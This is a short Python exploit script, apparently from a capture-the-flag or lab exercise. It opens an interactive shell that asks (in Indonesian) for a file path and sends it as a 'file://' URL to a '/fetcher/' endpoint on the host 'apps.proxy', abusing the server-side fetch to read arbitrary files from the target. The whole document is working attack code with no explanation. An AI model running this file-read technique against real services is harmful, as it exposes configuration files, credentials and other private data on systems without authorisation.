#!/bin/env python3
import requests
from urllib.parse import urljoin
import cmd

URL = "http://apps.proxy/"
# URL = "http://localhost/"


class Exploit(cmd.Cmd):
    def __init__(self, url=URL):
        super(Exploit, self).__init__()
        self.url = url
        self.session = requests.Session()

    def get_file(self, file):
        res = self.session.post(
            urljoin(self.url, "/fetcher/"),
            json={"url": "file://"+file}
        )
        return res.text

    def default(self, line):
        response = self.get_file(line)
        print(response)


if __name__ == "__main__":
    exploit = Exploit()
    exploit.prompt = "Masukkan path file: "
    exploit.cmdloop()
